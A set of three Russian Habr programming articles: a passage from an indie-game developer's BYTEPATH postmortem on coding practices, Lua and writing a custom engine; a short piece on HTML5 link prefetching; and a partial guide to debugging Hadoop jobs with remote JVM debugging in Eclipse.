Например, я могу использовать глобальные значения, потому что очень часто они полезны, и пока я могу удерживать их в голове, они не представляют проблемы (подробнее об этом можно прочитать в [части 10 туториала по BYTEPATH](https://habrahabr.ru/post/350316/)). Также я могу не слишком сильно комментировать свой код, потому что бОльшую его часть я держу в голове, ведь кодовая база не очень велика. Я могу создавать скрипты, которые работают только на моей машине, потому что никому не понадобится выполнять сборку игры, то есть сложность этого шага можно сильно снизить и для выполнения работы мне не понадобятся специальные инструменты. У меня могут быть огромные функции и классы, и поскольку я создаю их с нуля и точно знаю, как они работают, их огромный объём не представляет проблемы. И всё это я могу делать потому, что, как оказывается, большинство связанных с ними проблем проявляется только в коллективах, работающих над ПО с длительным сроком жизни.
Из работы над этим проектом я научился тому, что не произошло ничего особо плохого, когда я делал все эти «плохие» вещи. Где-то на границе сознания я всегда помнил, что для создания инди-игр мне не нужен суперкачественный код, учитывая тот факт, что многие разработчики создали отличные игры, используя очень плохие практики написания кода:
*casenpai: Меня приводит в ужас то, что у тебя, похоже, в коде 864 конструкций case.
Тоби Фокс (автор Undertale): Я не умею программировать, лол.*
И этот проект должен был подтвердить мне это мнение. Стоит заметить — это не значит, что вы можете расслабиться и писать мусорный код. В контексте разработки инди-игр это значит, что скорее всего стоит бороться с этим импульсом большинства программистов, с почти аутистической потребностью делать всё правильным и чистым, потому что это враг, замедляющий вашу работу.
ECS
---
Паттерн Entity Component System — хороший реальный пример противоречия всему, сказанному в предыдущих двух разделах. После прочтения большинства статей становится понятно, что инди-разработчики считают наследование плохой практикой, и что мы можем использовать компоненты, создавая сущности как из конструктора Lego, и что благодаря им мы можем гораздо проще использовать многократно используемое поведение, а буквально всё в создании игры становится легче.
По своему определению стремление программистов к ECS говорит о преждевременном обобщении, потому что если мы рассматриваем вещи как кирпичики Lego и думаем о том, как из них можно собирать новые вещи, то мы думаем в рамках многократно применяемых фрагментов, которые можно объединить каким-то полезным образом. И по причинам, перечисленным мной в разделе о предварительном обобщении, я считаю, что это СОВЕРШЕННО НЕВЕРНО! Хорошо объясняет мою позицию этот точный научный график:
Как вы видите, защищаемый мной принцип «yolo-кодинга» сначала намного проще и постепенно становится сложнее: сложность проекта увеличивается и yolo-техники начинают демонстрировать свои проблемы. С другой стороны, ECS поначалу гораздо сложнее — вам приходится создавать компоненты, а это по определению более трудно, чем создавать просто работающие элементы. Но со временем полезность ECS становится всё более и более очевидной и в какой-то момент он побеждает yolo-кодинг. Моя точка зрения заключается в том, что в контексте БОЛЬШИНСТВА инди-игр момент, в который ECS становится лучшим вложением средств, никогда не наступает.
К слову о несоответствии контекста: если эта статья наберёт популярность, то в комментариях обязательно появится какой-нибудь AAA-разработчик и скажет что-то вроде «Я уже 20 лет работаю в этой индустрии, и этот несмышлёныш несёт полную ЧУШЬ!!! ECS очень полезен, я выпустил уже несколько AAA-игр, заработавших миллионы долларов, в которые играли миллиарды людей по всему миру!!! Прекратите нести этот бред!!!»
И хотя этот AAA-разработчик будет прав в том, что ECS полезен для него, это не всегда верно для других инди-разработчиков: из-за несовпадения контекстов эти две группы решают очень разные задачи.
Как бы то ни было, мне кажется, я, как мог, донёс свою точку зрения. Значит ли это, что использующие ECS глупы или тупы? Нет. Я думаю, что если вы уже привыкли к использованию ECS и он для вас работает, то можете без размышлений использовать его. Но я считаю, что инди-разработчики в целом должны более критически относиться к таким решениям и их недостаткам. Думаю, здесь очень подходит мысль Джонатана Блоу (я ни в коем случае не считаю, что он согласился бы со мной относительно ECS):
[](https://www.youtube.com/watch?v=21JlBOxgGwY#t=6m52s)
Избегайте разделения поведения на несколько объектов
----------------------------------------------------
Один из паттернов, которого, похоже, мне не удалось избежать — это разбиение одного поведения на несколько объектов. В BYTEPATH это в основном проявилось тем, как я создавал комнату «Console», но в Frogfaller (игре, которую я делал ранее) это более очевидно:
[](https://github.com/SSYGEN/blog/raw/master/images/ezgif-5-7432ab8106.gif)
Этот объект состоит из основного тела медузы, из отдельных ног медузы и логического объекта, связывающего всё вместе и координирующего поведения тела и ног. Это очень неуклюжий способ кодирования такой сущности, потому что поведение разделено на три разных типа объектов и их координация становится очень сложной, но когда мне приходится кодировать сущность подобным образом (и в игре есть множество многосоставных сущностей), то я естественным образом выбираю такой способ решения.
Одна из причин, по которым я по умолчанию выбираю подобное разделение, заключается в том, что каждый физический объект должен содержаться в коде в одном объекте, то есть когда я хочу создать новый физический объект, мне также нужно создать и новый экземпляр объекта. На самом деле это не является жёстким правилом или ограничением, которое обязательно к исполнению, мне просто очень удобно это из-за того, как [я спроектировал архитектуру моего API физики](https://github.com/SSYGEN/windfield).
На самом деле я долгое время размышлял о том, как можно решить эту проблему, но мне так и не удалось найти хорошее решение. Простое кодирование всего в одном объекте выглядит ужасно, потому что нужно выполнять координацию между различными физическими объектами, но разделение физических объектов на правильные объекты с их последующей координацией тоже кажутся неприемлемыми и неправильными. Я не знаю, как эту проблему решают другие люди, так что жду ваших советов!
Жёсткие уроки
=============
Их контекст заключается в том, что я писал свою игру на Lua и с помощью [LÖVE](https://love2d.org/). Я написал 0 строк кода на C и C++, всё писалось на Lua. Поэтому многие из этих уроков связаны с самим Lua, хотя большинство из них применимы и к другим языкам.
nil
---
90% багов, получаемых от игроков, связаны с доступом к переменным `nil`. Я не отслеживал статистику того, какие типы доступа более/менее часты, но чаще всего они связаны со смертью объекта, когда другой объект хранит ссылку на этот умерший объект и пытается с ним что-нибудь сделать. Думаю, это относится к категории проблем «срока жизни».
Решение этой проблемы в каждом случае обычно реализуется очень просто, достаточно проверять, существует ли объект и только после этого выполнять с ним действия:
```
if self.other_object then
doThing(self.other_object)
end
```
Однако проблема кодинга таким способом заключается в том, что я ссылаюсь на другой объект слишком уж перестраховываясь, а поскольку Lua является интерпретируемым языком, происходят такие редкие баги с ветвями кода. Но я не могу придумать никакого другого способа решения этой проблемы, и поскольку она является серьёзным источником багов, то мне кажется правильным иметь стратегию для их правильной обработки.
В будущем я подумываю никогда не ссылаться из одного объекта на другой напрямую, а вместо этого ссылаться на них через их id. В такой ситуации, когда я хочу сделать что-то с другим объектом, мне сначала придётся получить его по его id, а затем уже что-то с ним делать:
```
local other_object = getObjectByID(self.other_id)
if other_object then
doThing(other_object)
end
```
Преимущество такого подхода в том, что он заставляет меня получать объект каждый раз, когда я хочу с ним что-нибудь сделать. Кроме того, я никогда не сделаю ничего подобного:
```
self.other_object = getObjectByID(self.other_id)
```
Это значит, что я никогда не храню постоянную ссылку на другой объект в текущем, то есть не может произойти ошибок из-за смерти другого объекта. Мне это не кажется очень желательным решением, потому что каждый раз, когда я хочу что-то сделать, оно добавляет много излишнего. Языки наподобие MoonScript немного помогают в этом, потому что там можно сделать нечто подобное:
```
if object = getObjectByID(self.other_id)
doThing(object)
```
Но так как я не буду использовать MoonScript, то мне, похоже, придётся смириться с этим.
Больший контроль над размещением памяти
---------------------------------------
Хотя я и не буду утверждать, что сборка мусора плоха, особенно с учётом того, что я собираюсь использовать Lua для моих следующих игр, мне всё равно очень не нравятся некоторые её аспекты. В похожих на C языках возникновение утечки раздражает, но в них мы обычно можем приблизительно понять, где она происходит. Однако в языках наподобие Lua сборщик мусора похож на «чёрный ящик». Можно заглянуть в него, чтобы получить намёки о происходящем, но это неидеальный способ работы. Когда у вас происходит утечка в Lua, то она оказывается гораздо большей проблемой, чем в C. Это дополняется тем, что я использую кодовую базу C++, которой не владею, а именно кодовую базу LÖVE. Я не знаю, как разработчики настроили размещение памяти со своей стороны, поэтому со стороны Lua мне гораздо сложнее добиться предсказуемого поведения памяти.
Стоит заметить, что с точки зрения скорости проблем со сборщиком мусора Lua у меня нет. Можно управлять им так, чтобы он работал с определёнными ограничениями (например, чтобы не запускался в течение n мс), поэтому в этом проблем нет. Проблема только в том, что можно сказать ему не выполняться более n мс, а он не сможет собрать весь мусор, который вы сгенерировали за кадр. Поэтому желателен максимальный контроль над количеством размещённой памяти. Есть очень хорошая статья по этой теме: <http://bitsquid.blogspot.com.br/2011/08/fixing-memory-issues-in-lua.html>, и я расскажу о ней подробнее, когда доберусь в этой статье до движка.
Таймеры, ввод и камера
----------------------
Это три области, в которых я очень доволен получившимися у меня решениями. Для этих общих задач я написал три библиотеки:
* <https://github.com/SSYGEN/chrono> (Timer)
* <https://github.com/SSYGEN/boipushy> (Input)
* <https://github.com/SSYGEN/STALKER-X> (Camera)
У всех них есть API, которые кажутся мне очень интуитивно понятными и очень облегчают мою жизнь. Пока самым полезным для меня оказывалась Timer, потому что она позволяет мне реализовывать всевозможные решения простым образом:
```
timer:after(2, function() self.dead = true end)
```
Этот код убивает текущий объект (self) через 2 секунды. Также эта библиотека позволяет очень удобно реализовывать переходы tween:
```
timer:tween(2, self, {alpha = 0}, 'in-out-cubic', function() self.dead = true end)
```
Эта строка позволяет плавно изменять (tween) атрибут `alpha` объекта до 0 в течение 2 секунд с помощью режима tween `in-out-cubic`, а затем уничтожать объект. Это позволяет создать эффект постепенного растворения и исчезания. Также его можно использовать, чтобы заставить объекты мерцать при ударе:
```
timer:every(0.05, function() self.visible = not self.visible, 10)
```
Этот код 10 раз каждые 0,05 секунды переключает значение `self.visible` между true и false. Это значит, что он создаёт эффект мерцания на 0,5 секунды. Как вы видите, библиотеку можно использовать практически безгранично. Это стало возможным благодрая тому, как Lua работает со своими анонимными функциями.
Другие библиотеки имеют столь же тривиальный API, являющийся мощным и полезным. Библиотека камеры — единственная, которая оказалась слишком низкоуровневой, но это можно улучшить в будущем. Смысл её заключается в том, чтобы иметь возможность реализовать нечто похожее на то, что показано в этом видео:
[](https://www.youtube.com/watch?v=aAKwZt3aXQM)
Но в конце концов я создал что-то вроде промежуточного слоя между самыми основами модуля камеры и тем, что показано в видео. Поскольку я хотел, чтобы библиотекой пользовались люди, использующие LÖVE, мне пришлось делать меньше допущений о том, какие типы атрибутов могут быть доступны. То есть некоторые из возможностей, показанных в видео, реализовать невозможно. В будущем, когда я буду создавать собственный движок, я смогу допускать о своих игровых объектах всё, что захочу, то есть буду способен реализовать правильную версию библиотеки, которая умеет всё, что показано в этом видео!
Комнаты и области
-----------------
Для меня очень подходящим способом работы с объектами оказалась концепция комнат (Room) и областей (Area). Комнаты — это аналог «уровня» или «сцены». В них происходит всё действие, их может быть множество и вы можете переключаться между ними. Область — это тип менеджера объектов, который может находиться внутри комнат. Некоторые называют такие объекты Area «пространствами» (spaces). Area и Room работают вместе примерно таким образом (в реальной версии этих классов будет намного больше функций, например, у Area будут `addGameObject`, `queryGameObjectsInCircle`, и т.д.):
```
Area = Class()
function Area:new()
self.game_objects = {}
end
function Area:update(dt)
-- update all game objects
end
```
```
Room = Class()
function Room:new()
self.area = Area()
end
function Room:update(dt)
self.area:update(dt)
end
```
Преимущество разделения этих концепций заключается в том, что в комнатах необязательно должны быть области, то есть способ управления объектами в комнате не является фиксированным. В одной комнате я могу решить, что объекты должны управляться каким-то другим образом, и тогда я смогу просто писать код, вместо того, чтобы приспосабливать свой код Area под новый функционал.
Однако одно из преимуществ такого подхода заключается в том, что легко смешать локальную логику управления объектами с логикой управления объектами Area, если в комнате есть они обе. Это очень легко может запутать и при разработке BYTEPATH это стало серьёзным источником ошибок. Поэтому в будущем я постараюсь сделать так, чтобы в Room использовались строго или Area, или её собственная процедура управления объектами, но никогда обе одновременно.
snake\_case и camelCase
-----------------------
Сейчас я использую snake\_case для имён переменных и camelCase для названий функций. В будущем я собираюсь использовать snake\_case везде, кроме имён классов/модулей, которые по-прежнему останутся CamelCase. Причина этого очень проста: в camelCase очень сложно читать длинные названия функций. Возможность перепутать имена переменных и функций в snake\_case обычно не является проблемой благодаря контексту использования имени, поэтому всё будет в порядке.
Движок
======
Основной причиной того, что я хочу написать после завершения этой игры собственный движок, является контроль. LÖVE — это отличный фреймворк, но когда дело доходит до выпуска игры, он становится слишком грубоват. Такие вещи, как поддержка Steamworks, поддержка HTTPS, тестирование других физических движков наподобие Chipmunk, использование библиотек C/C++, упаковка своей игры для распространения на Linux и куча других вещей, которые я вскоре упомяну, оказываются слишком сложными.
Это не значит, что задача нерешаема, но для её решения мне пришлось бы спуститься до уровня C/C++ и работать там. Я программирую на C, поэтому с этим у меня нет никаких проблем, но изначально я решил использовать фреймворк потому, что хотел пользоваться Lua и не беспокоиться ни о чём другом, а такая работа противоречит моим стремлениям. Поэтому если мне в любом случае придётся работать на низком уровне, то я лучше буду владеть этой частью кодовой базы, написав её самостоятельно.
Однако здесь я хочу изложить более общую точку зрения на движки, и для этого мне придётся вместо LÖVE начать ругать Unity. Есть игра, которая мне нравится и в которую я довольно долго играл — Throne of Lies:
[](http://store.steampowered.com/app/595280/Throne_of_Lies_The_Online_Game_of_Deceit/)
Это клон «Мафии», у которого было (а возможно, и сейчас есть) очень здоровое и хорошее сообщество. Я узнал о ней от стримера, которого смотрю, поэтому в игре есть много людей с похожим образом мышления, что очень здорово. В целом игра мне очень нравилась. Однажды я нашёл на /r/gamedev [постмортем этой игры](https://www.reddit.com/r/gamedev/comments/76htb2/successful_steam_launch_postmortem_throne_of_lies/) от одного из её разработчиков. Этот парень был одним из программистов, и он написал один комментарий, привлёкший моё внимание:
> У меня есть множество страниц багов, с которыми я встречаюсь ежедневно. Я начал вести журнал багов, потому что они настолько плохи и мне приходится записывать скриншоты и скринкасты, чтобы доказать, что я не сумасшедший. Просто потому, что их очень много и их никто не исправляет. Я больше не буду сообщать о багах, если только за это не будут платить, потому что за все эти годы я не увидел, чтобы исправили хотя бы один из них. Два года баг-репортов, и они всё ещё существуют; разработчики просто продолжают добавлять фичи, и это даже не смешно. Unity кажется таким потрясающим, поэтому нас обманывает превосходный маркетинг. Но спустя два года я уже вижу шаблон их работы: высшее руководство очевидно не разрабатывало и не создавало игры ни разу за всю свою жизнь. Поэтому они делаю новую фичу, выпускают её в альфаподобном состоянии и забывают о ней навечно, переходя к следующей фиче, которая заработает им деньги. С каждой версией происходит одна и та же история. Потом они постоянно помечают висящие баги как исправленные, как будто никто ничего не заметит. В последнее время это активно начали обсуждать. Unity замечателен для минипроектов, но попробуйте сделать что-то более продвинутое, и быстро начнёте обнаруживать баги.
>
>
>
> В число багов входят постоянные тормоза, проблемы с Async, добавленная и заброшенная поддержка Vulkan, они полностью сломали FB standalone для всей версии и притворились, что ничего не было, перейдя к новым фичам (нам пришлось убрать логин через FB и т.п.), глитчи UI наподобие искажённого текста, баг с окрашиванием всего в розовый цвет, баг с чёрным экраном, баг с исчезающим текстом, Scroll Rect'ы содержат больше багов, чем я могу перечислить (даже улучшающие их плагины терпят неудачу, потому что ставятся поверх Unity).
>
>
>
> Например, скроллеры… В случайные моменты времени они могут начать смещаться влево, хотя ты ничего не делал. Если изменить их положение, то иногда элемент UI сворачивается и становится отрицательным. Приходится нажимать на Play, а потом Stop, чтобы увидеть это снова, если повезёт, или перезагружать систему.
>
>
>
> Ещё баги… У их фичи совместной работы (collab) были потрясающие разработчики, но снова та же беда — высшее руководство, принимающее плохие решения, выпустило её в почти в состоянии альфы, просто чтобы заработать денег. Потом и эту фичу забросили. Мы отказались от collab в пользу gitlab CE и половина наших проблем просто исчезла. Всё настолько дико. Один из самых крупных багов — через каждые 2-3 запуска кнопка запуска блокировалась (патч так и не вышел, отчёт отправлен в ПРОШЛОМ ГОДУ), и запуск Unity блокирует все потоки на две минуты. Комбо-баг… Блокируется кнопка Play, а перезагрузка затормаживает всё на 2 секунды. Через каждые 2-3 запуска игры. Теперь представьте работу в таком режиме в течение 10 часов.
>
>
>
> Ещё баги… Unity крашится, если вы выполняете выход, когда предварительно загружается новая сцена — выглядит непрофессионально. Всё, что делаешь с фичами буфера обмена, блокирует весь буфер обмена ЗА ПРЕДЕЛАМИ Unity, пока не перезагрузишь компьютер.
>
>
>
> Ещё нарушенные обещания… UNET? Это тоже отдельная история. Они заявляли, что это будет фича корпоративного уровня. В результате оказалась только для двух людей, со сломанной архитектурой, по-прежнему не работает уже в течение полутора лет, нет ни документации, ни туториала, ни поддержки. Похоже, её полностью отдали на аутсорс, потому что никто ничего не знает. Мы снова купились на маркетинг и потеряли три месяца, а потом перешли на Photon и то, что заняло у меня три месяца, я сделал за три дня. Даже модераторы на их собственном форуме говорят, что она совершенно не работает. Я делал уморительные скриншоты. Приходилось смеяться, чтобы не заплакать… Сколько времени было потрачено… Так много нарушенных обещаний. Снова тот же шаблон: реализуем, выпускаем в состоянии альфы, забываем навечно.
>
>
>
> И такого было очень много. Вот, что я могу сказать: если делаете 3D, то переходите на Unreal. Я даже не могу начать описывать своё разочарование. Раньше я был гордым Unity-разработчиком, пока не увидел за маской ужасную правду. Нам было так стыдно, что мы даже убрали со своего веб-сайта логотип Unity. Так много вложено, а я даже не могу рекомендовать Unity другим разработчикам.
То есть этот человек, создавший очень понравившуюся мне игру, рассказывал ужасные вещи о Unity, о том, что он очень нестабилен, что разработчики постоянно стремятся к новым функциям и никогда не реализуют их правильно, и так далее. Меня очень удивило, что кому-то настолько не нравится Unity, что он пишет такое. Поэтому я решил немного подтолкнуть его, чтобы узнать, что ещё он может сказать о Unity:
А потом он сказал такое:
И такое:
Я никогда не пользовался Unity, поэтому не знаю, правду ли он говорит, но он написал на нём готовую игру и я не вижу причин, по которым он мог бы лгать. Его точка зрения во всех этих постах примерно одинакова: Unity сосредоточен на добавлении новых функций вместо усовершенствования имеющихся и у Unity есть проблемы с поддержанием стабильности множества имеющихся функций между версиями.
По моему мнению, одним из самых убедительных аргументов в его постах является то, что применимо и другим движкам, а не только к Unity: разработчики движка сами не делают на нём игры. По крайней мере, с LÖVE я заметил одну важную вещь — многие проблем фреймворка могли бы быть решены, если бы разработчики активно делали на нём инди-игры. Потому что в таком случае все эти проблемы стали бы для них очевидными, получили бы высочайший приоритет и быстро были исправлены. xblade724 выяснил, что то же самое справедливо и для Unity. А многие другие знакомые мне люди обнаружили подобное и для других движков.
Есть очень малое количество фреймворков/движков, на которых сами разработчики активно делают игры. Первые, которые приходят мне в голову: Unreal, потому что Epic создала кучу суперуспешных игр на собственном движке, последняя из них Fortnite; Monogame, потому что основные разработчики портируют с его помощью игры на разные платформы; и GameMaker, потому что YoYo Games делает мобильные игры на своём движке.
Для всех остальных известных мне движков это условие не выполняется, то есть у всех этих движков есть очень очевидные проблемы и препятствия для создания готовых игр, которые скорее всего никогда не будут исправлены. Потому что нет стимула, так ведь? Если какие-то проблемы воздействуют только на 5% пользователей, потому что они возникают в конце цикла разработки игры, то зачем вообще исправлять их, если ты не делаешь на собственном движке игры и тебе не предстоит столкнуться с этими проблемами самому?
И всё это означает, что если я заинтересован в создании игр надёжным и проверенным способом, не сталкиваясь с кучей неожиданных проблем ближе к завершению игры, то я не будут использовать движок, который усложнит мою жизнь, поэтому я не буду использовать никакой другой движок, кроме перечисленных выше трёх. В моём конкретном случае Unreal не подходит, потому что меня в основном интересуют 2D-игры, а Unreal для них — это перебор, Monogame не работает, потому что я ненавижу C#, а GameMaker не работает, потому что мне не нравится идея визуального кодинга или кодинга на основе интерфейса. То есть у меня остаётся единственный вариант — создать свой собственный движок.
Итак, разобравшись со всеми этими рассуждениями, давайте перейдём к конкретным задачам:
Взаимодействие C/Lua и память
-----------------------------
Привязка C/Lua может осуществляться двумя фундаментальными способами (по крайней мере, исходя из моего ограниченного опыта): с полными пользовательскими данными и с ограниченными пользовательскими данными. При использовании полных пользовательских данных когда код на Lua запрашивает размещение чего-то в C, например, физического объекта, мы создаём ссылку на этот объект в Lua и используем её. Таким образом мы можем создать полный объект с метатаблицами и всевозможными параметрами, надёжно описывающими объект C. Одна из проблем такого подхода заключается в том, что это создаёт кучу мусора со стороны Lua, а как я упоминал в предыдущих разделах, я стремлюсь как можно сильнее избегать размещения памяти, или, по крайней мере, хочу иметь полный контроль над ним, когда оно происходит.
Поэтому логичнее мне будет использовать подход с ограниченными пользовательскими данными. Ограниченные пользовательские данные — это просто обычный указатель C. Это означает, что мы не можем получить много информации об объекте, на который указываем, но этот вариант обеспечивает наибольший контроль со стороны Lua. В этой схеме создание и уничтожение объектов должно выполняться вручную и всё не собирается волшебным образом, и именно это мне и нужно. Этой теме посвящён очень интересный доклад разработчика Stingray Engine:
[](https://www.youtube.com/watch?v=wTjyM7d7_YA&t=18m32s)
Прочитав [документацию](http://help.autodesk.com/view/Stingray/ENU/?guid=__stingray_help_creating_gameplay_scripting_with_lua_using_the_api_object_lifetimes_html), можно увидеть, как описываемое им происходит в движке.
Смысл написания своего собственного движка в том, что у меня будет полный контроль над тем, как происходит привязка C/Lua и над выбором компромиссов, которые при этом должны возникать. Если я использую чей-то чужой движок на Lua, то выбор сделан за меня и этим выбором я могу и не быть полностью довольным, например, как это случилось с LÖVE. Поэтому это основной способ, которым я могу получить больше контроля над памятью и создавать быстрые и надёжные игры.
Внешняя интеграция
------------------
Такие вещи, как Steamworks, Twitch, Discord и другие сайты, имеют собственные API, которые нужно интегрировать, чтобы пользоваться их удобными возможностями, а если не владеть кодовой базой на C/C++, то это задача будет намного сложнее. Разумеется, можно выполнить работу для интегрирования их в LÖVE, например, но при этом потребуется больше труда, чем при интеграции в собственный движок.
Если вы используете очень популярные движки наподобие Unity или Unreal, в которых уже есть реализованная другими людьми интеграция с большинством таких сервисов, то это не проблема, но если вы пользуетесь другим движком с меньшей базой пользователей, то вам придётся или интегрировать эти вещи самостоятельно, или использовать чей-то наполовину реализованный и едва работающий код, что является плохим решением.
И снова владение частью кодовой базы на C/C++ делает такие интеграции гораздо проще, потому что вы можете просто реализовать только нужное вам и это точно будет работать.
Другие платформы
----------------
Это одно из преимуществ, которые я вижу в движках наподобие Unity или Unreal по сравнению с написанием собственного движка: они поддерживают все наиболее распространённые платформы. Я не знаю, хорошо ли реализована, но меня впечатляет то, что они на это способны, и в одиночку сделать это будет сложно. Хотя я и не супернерд, живущий и дышащий ассемблером, я не думаю, что у меня возникнет куча проблем с портированием моего будущего движка на консоли или другие платформы, но не могу рекомендовать каждому идти таким путём, потому что скорее всего это приведёт к куче трудозатрат.
[](http://store.steampowered.com/app/306020/Bloons_TD_5/)
Одна из платформ, которую я очень хочу поддерживать с самого начала — это веб. Однажды я играл в браузере в игру Bloons TD5, и спустя какое-то время игра предложила мне перейти в Steam и купить её за 10 долларов. Так я и поступил. Поэтому я считаю, что поддержка браузерной версии игры с меньшим количеством функций и предложение перейти в Steam — это хорошая стратегия, которую я тоже хочу реализовать. Предварительно я изучил вопрос о том, что нужно для создания движка на C, и, похоже, удобным для работы SDL будет Emscripten, с помощью которого я смогу рисовать на экране в браузере.
Реплеи, трейлеры
----------------
Создание трейлера для этой игры оказалось очень плохим опытом. Мне он совсем не понравился. Я хорошо могу продумывать в голове фильмы/трейлеры/истории (по какой-то причине я постоянно это делаю, когда слушаю музыку), поэтому у меня была очень хорошая идея для трейлера, который я хотел создать для игры. Но результат получился совершенно не тем, потому что я не знал, как использовать необходимые инструменты (например, редактор видео) и не имел особого контроля над записью.
[](https://www.youtube.com/watch?v=vRC1F1BSW7E)
Я надеюсь реализовать в своём движке систему реплеев и систему трейлеров. Система реплеев позволит мне намного проще записывать геймплейные клипы, потому что для записи игрового процесса мне не понадобятся сторонние программы. Кроме того, я считаю, что смогу сделать так, чтобы геймплей постоянно записывался во время разработки, чтобы я программным образом мог просматривать все реплеи и выбирать определённые события или последовательности событий, которые можно использовать в трейлере. Если мне это удастся, то процесс получения нужных мне записей станет намного проще.
Кроме того, после реализации этой системы реплеев я хочу добавить встроенную в движок систему трейлеров, позволяющую мне соединять вместе фрагменты различных реплеев. На самом деле я не вижу в этом никаких технических препятствий, так что вопрос только в реализации.
И причина, по которой мне нужен свой движок для создания системы реплеев, заключается в том, что мне совершенно точно нужно работать на уровне байтов, чтобы реплеи работали управляемым образом и занимали меньше места. Я уже собирал систему реплеев в на Lua в этой [статье](https://github.com/SSYGEN/blog/issues/8), но всего 10 секунд реплея создают файл объёмом 10 МБ. В неё можно внести и дополнительные оптимизации, но в конце концов Lua имеет свои пределы, и гораздо удобнее оптимизировать подобные вещи на C.
Целостность конструкции
-----------------------
И последняя причина, по которой я хочу создать собственный движок — это целостность конструкции. Один из принципов, которые я люблю/ненавижу в LÖVE, Lua (то же самое относится и к философии Linux) — это их децентрализованность. В Lua и LÖVE нет стандартных способов реализации, люди делают то, что им кажется правильным, и если вы хотите написать библиотеку, которой будут пользоваться другие люди, то не стоит делать слишком много допущений. Этой идее следовали все библиотеки, созданные мной для LÖVE (их можно найти в моём репозитории), потому что в противном случае ими бы никто не пользовался.
Преимущества такой децентрализации заключаются в том, что я запросто могу взять чью-то библиотеку, использовать её в своей игре, подогнать её под свои нужды и в целом всё будет работать. Недостатки такой децентрализации заключаются в том, что количество времени, которое мне может сэкономить каждая библиотека, ниже, по сравнению с кодом, более централизованным относительно какого-то набора стандартов. Я уже упоминал это в примере с моей собственной библиотекой камеры. Это противоречит тому, чтобы делать всё быстро.
Поэтому одна из вещей, которую я очень хочу сделать в своём движке — это способность централизовать всё точно так, как я хочу и возможность делать множество допущений, что увеличит темп работы (а также, я надеюсь, и повысит продуктивность)! | https://habr.com/ru/post/353656/ | null | ru | null |
# HTML5 Prefetching — Предварительная загрузка документов
Аж в 2003 году Mozilla представила новый механизм для оптимизации загрузки страниц. И существует большой шанс, что технология войдет в HTML5.
Суть же метода в том, что на любой странице браузеру можно указать документы (страница, файл стилей, картинка), которые в скором времени могут понадобиться пользователю. И он заранее их закэширует.
Пометить документы можно тегом *link* с аттрибутом *rel='prefetch'*:
> `1.
> 2. <**link** rel="prefetch" href="http://www.example.com/">
> 3.
> 4.
> 5. <**link** rel="prefetch" href="/images/big.jpeg">
> 6.
> 7.
> 8. <**meta** http-equiv="Link" content="; rel=prefetch">`
Где это можно использовать
--------------------------
* Когда есть цепочка взаимосвязанных страниц, то можно заранее подгружать страницу со следующим шагом.
*Например: слайдшоу или форма оформления заказа, разбитая на страницы.*
.
* Для загрузки изображений или стилей, которые будут использоваться во множестве мест на сайте.
.
* Для подгрузки следующей страницы с результатами поиска на сайте (гугл до недавнего времени использовал эту фичу).
Несмотря на то, что на данный момент технология работает только в Firefox (а также существуют определенные [проблемы безопасности](http://habrahabr.ru/blogs/google/74123/)), данный метод представляется вполне адекватным механизмом по оптимизации современных сайтов и веб-приложений. Лично мне бы хотелось, чтобы это или подобное решение вошло в бурно развивающийся стандарт html5.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
###### [Link prefetching FAQ](https://developer.mozilla.org/en/link_prefetching_faq)
###### [Link prefetching (Wikipedia)](http://en.wikipedia.org/wiki/Link_prefetching) | https://habr.com/ru/post/104766/ | null | ru | null |
# Отладка Hadoop приложений
Сколько бы ни говорили, что логи способны полностью заменить отладку, увы и ах — это не совсем так, а иногда — совсем не так. Действительно, иногда и в голову не придет, что надо было писать в лог именно *эту* переменную — в то же время, в режиме отладки можно часто просмотреть сразу несколько структур данных; можно, в конце концов, наткнутся на проблемный участок абсолютно случайно. Поэтому иногда отладка неизбежна, и часто она способна сэкономить очень немало времени.
Отлаживать однопоточное Java приложение просто. Отлаживать многопоточное Java приложение — чуть сложнее, но все равно просто. Отлаживать мультипроцессное Java приложение? С процессами, запущенными на разных машинах? Это определенно сложнее. Именно поэтому все руководства по Hadoop рекомендуют обращаться к отладке *только и исключительно* тогда, когда другие опции (читай: логгинг) исчерпаны и не помогли. Ситуация зачастую усложняется тем, что на больших кластерах у вас может и не быть доступа к конкретным map/reduce узлам (именно с этим вариантом я и столкнулся). Но давайте решать проблему по частям. Итак…
Сценарий первый: локальный Hadoop
---------------------------------
Самый простой вариант из всех возможных. Локальная инсталляция Hadoop — все выполняется на одной машине, и более того — в одном процессе, но в разных потоках. Отладка эквивалентна отладке обычного мультипоточного Java приложения — что может быть тривиальнее?
Как же этого добиться? Мы идем в директорию, где у нас развернут наш локальных Hadoop (я полагаю, что вы умеете это делать или умеете прочитать соответствующую [инструкцию](http://hadoop.apache.org/common/docs/current/quickstart.html#Local) и уже *теперь* с этим справитесь).
```
$ cd ~/dev/hadoop
$ cp bin/hadoop bin/hdebug
$ vim bin/hdebug
```
Наша задача — добавить еще одну опцию JVM, где-то в районе 282-283 строки (в зависимости от версии, номер может и измениться), сразу после того, как скрипт закончил формировать `$HADOOP_OPTS`:
```
HADOOP_OPTS="$HADOOP_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=1044,server=y,suspend=y"
```
Что мы сказали этим заклинанием? Мы сказали, что мы хотим запускать Java машину с поддержкой удаленного отладчика, который должен будет соединиться на порт 1044, а пока он не подсоединится, выполнение программы будет приостановлено (сразу после старта). Все просто, правда? Осталось пойти в Eclipse (или любую другую Java IDE) и добавить там сессию удаленной отладки. Ну, например, вот так:
Если вы запускаете отладку не на локальной машине, а на каком-то сервере (что вполне нормально и обычно я так и делаю — оно мне надо, свой лаптоп грузить такими вещами, когда есть специальные дев-сервера с диким количеством памяти и многими процессорами?), то просто меняете `localhost` на требуемый хост. Дальше ставите breakpoint в коде программы (для начала — в основном теле, так называемый gateway code), и стартуете Hadoop:
```
bin/hadoop jar myApplication.jar com.company.project.Application param1 param2 param3
```
Хадуп стартует и ничего не делает, JVM сообщает что ждет подключения:
```
Listening for transport dt_socket at address: 1044
```
Все, теперь подключайтесь Eclipse'ом к сессии отладки — и ждите, пока «всплывет» ваш breakpoint. Отладка map/reduce классов ничем (в рамках данного сценария) не отличается от отладки gateway кода.
Сценарий второй: pseudo-distributed mode
----------------------------------------
